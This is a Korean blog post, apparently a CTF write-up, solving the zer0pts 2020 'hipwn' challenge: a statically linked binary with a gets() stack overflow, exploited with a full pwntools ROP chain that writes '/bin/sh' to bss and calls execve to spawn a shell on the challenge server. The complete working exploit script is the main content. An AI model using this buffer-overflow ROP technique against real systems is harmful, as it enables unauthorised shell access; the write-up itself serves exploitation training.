본문으로 바로가기

[zer0pts 2020 CTF] hipwn write up

category CTF/zer0pts 2020 CTF 2020. 3. 9. 18:28

 

 

zer0pts 2020 CTF 문제 중 pwnable 분야의 hipwn 이다.

 

문제 파일을 다운로드 하면 chall, main.c 파일이 존재한다.

main.c 코드 내용은 아래와 같다.

#include <stdio.h>

int main(void) {
  char name[0x100];
  puts("What's your team name?");
  gets(name);
  printf("Hi, %s. Welcome to zer0pts CTF 2020!\n", name);
  return 0;
}
ubuntu:~/environment/ctf/zer0pts/pwn/hipwn $ checksec --file=chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols      No      0               0  chall

 

 

gdb로 분석을 하려고 했는데, main 함수 symbol 이 없었다.

다른 라이브러리 함수들도 마찬가지 였다.

이유는 문제 바이너리는 static compile 을 했기 때문이다.

 

아래와 같은 코드로 확인을 할 수 있다.

>>> from pwn import *
>>> ELF("./chall").statically_linked
True
>>>

 

 

NX가 적용되어 있고, canary는 없기 때문에 ROP 공격을 할 수 있다.

하지만, static compile이 되어 있기 때문에 system 함수의 주소를 찾기는 힘들다.

다른 관점으로는 static compile이 되어 있기 때문에 address는 변하지 않아 원하는 Gadget을 찾아 넣을 수 있다

 

 

ROPgadget 툴을 사용해서 공격에 사용할 Gadget을 뽑아온다.

ubuntu:~/hipwn $ ROPgadget --ropchain --binary chall > result.txt    

 

/bin/sh의 문자열을 저장하기 위해 bss address(0x604240) 를 가져온다.

ubuntu:~/environment/ctf/zer0pts/pwn/hipwn $ readelf -S chall
There are 15 section headers, starting at offset 0x42d8:
...
...
  [10] .got.plt          PROGBITS         
       0000000000000018  0000000000000008 0000000000604000  00004000
  [11] .data             PROGBITS          WA       0     0     8
       0000000000000210  0000000000000000 0000000000604020  00004020
  [12] .bss              NOBITS            WA       0     0     32
       0000000000000ad8  0000000000000000 0000000000604240  00004230

...

 

 

우선 RET를 덮기 위해서는 Dummy = "A" * 0x108 가 필요하고,

그 이후 값으로 RET를 덮을 수 있다.

 

ROPgadget 툴로 뽑아온 Gadget 주소를 이용해 아래와 같은 코드를 작성한다.

아래 코드는 bss 영역에 /bin 이라는 문자열을 저장하기 위한 코드이다.

payload = "A" * 0x108

payload += p64(0x40141c)    # pop rdi; ret
payload += p64(0x604240)    # bss addr
payload += p64(0x400121)    # pop rax; ret
payload += p64(0x6e69622f)  # /bin
payload += p64(0x400705)    # mov dword ptr [rdi], eax ; ret

 

그 후 /sh 문자열을 저장하기 위해 작성한 코드이다.

bss 영역에 0x4 만큼 더해 저장할 공간을 만든다.

payload += p64(0x40141c)    # pop rdi; ret
payload += p64(0x604240 + 0x4)    # bss addr
payload += p64(0x400121)    # pop rax; ret
payload += p64(0x0068732f)  # /sh
payload += p64(0x400705)    # mov dword ptr [rdi], eax ; ret

 

 

/bin/sh 을 실행하기 위해 아래 syscall table 목록에서 sys_execve 함수를 호출해야 한다.

 

리눅스 syscall table for x86_64

리눅스 64비트에서 어셈블리로 프로그래밍을 할때 각함수의 이름과 레지스터 사용법입니다. syscall로 실행해야 함니다. 출처 http://blog.rchapman.org/post/36801038863/linux-system-call-table-for-x86-64 %ra..

crasy.tistory.com

 

 

sys_execve 함수를 호출하기 위해서는 rax=0x3b, rdi=0, rsi=0, rdx=0 값을 넣어 주면 된다.

pop rsi; ret  Gadget이 없어 pop rsi; pop r15; ret 을 사용했다.

payload += p64(0x4023f5)    # pop rdx; ret
payload += p64(0x0)         # rdx = 0
payload += p64(0x40141a)    # pop rsi; pop r15; ret
payload += p64(0x0)         # rsi = 0
payload += p64(0x0)         # r15 = 0
payload += p64(0x40141c)    # pop rdi; ret
payload += p64(0x604240)    # bss addr
payload += p64(0x400121)    # pop rax ; ret 
payload += p64(0x3b)        # sys_execve == 0x3b
payload += p64(0x4003fc)    # syscall

 

 

 

최종 payload 는 아래와 같다.

from pwn import *

# p = process("./chall")
p = remote("13.231.207.73", "9010")

payload = "A" * 0x108

payload += p64(0x40141c)    # pop rdi; ret
payload += p64(0x604240)    # bss addr
payload += p64(0x400121)    # pop rax; ret
payload += p64(0x6e69622f)  # /bin
payload += p64(0x400705)    # mov dword ptr [rdi], eax ; ret

payload += p64(0x40141c)    # pop rdi; ret
payload += p64(0x604240 + 0x4)    # bss addr
payload += p64(0x400121)    # pop rax; ret
payload += p64(0x0068732f)  # /sh
payload += p64(0x400705)    # mov dword ptr [rdi], eax ; ret

payload += p64(0x4023f5)    # pop rdx; ret
payload += p64(0x0)         # rdx = 0
payload += p64(0x40141a)    # pop rsi; pop r15; ret
payload += p64(0x0)         # rsi = 0
payload += p64(0x0)         # r15 = 0
payload += p64(0x40141c)    # pop rdi, ret
payload += p64(0x604240)    # bss addr
payload += p64(0x400121)    # pop rax ; ret 
payload += p64(0x3b)        # sys_execve == 0x3b
payload += p64(0x4003fc)    # syscall

p.sendline(payload)
p.interactive()

 

 

'CTF > zer0pts 2020 CTF' 카테고리의 다른 글

[zer0pts 2020 CTF] - notepad write up  (0) 2020.03.09
[zer0pts 2020 CTF] - Can you guess it? write up  (0) 2020.03.09
[zer0pts 2020 CTF] hipwn write up  (0) 2020.03.09

댓글을 달아 주세요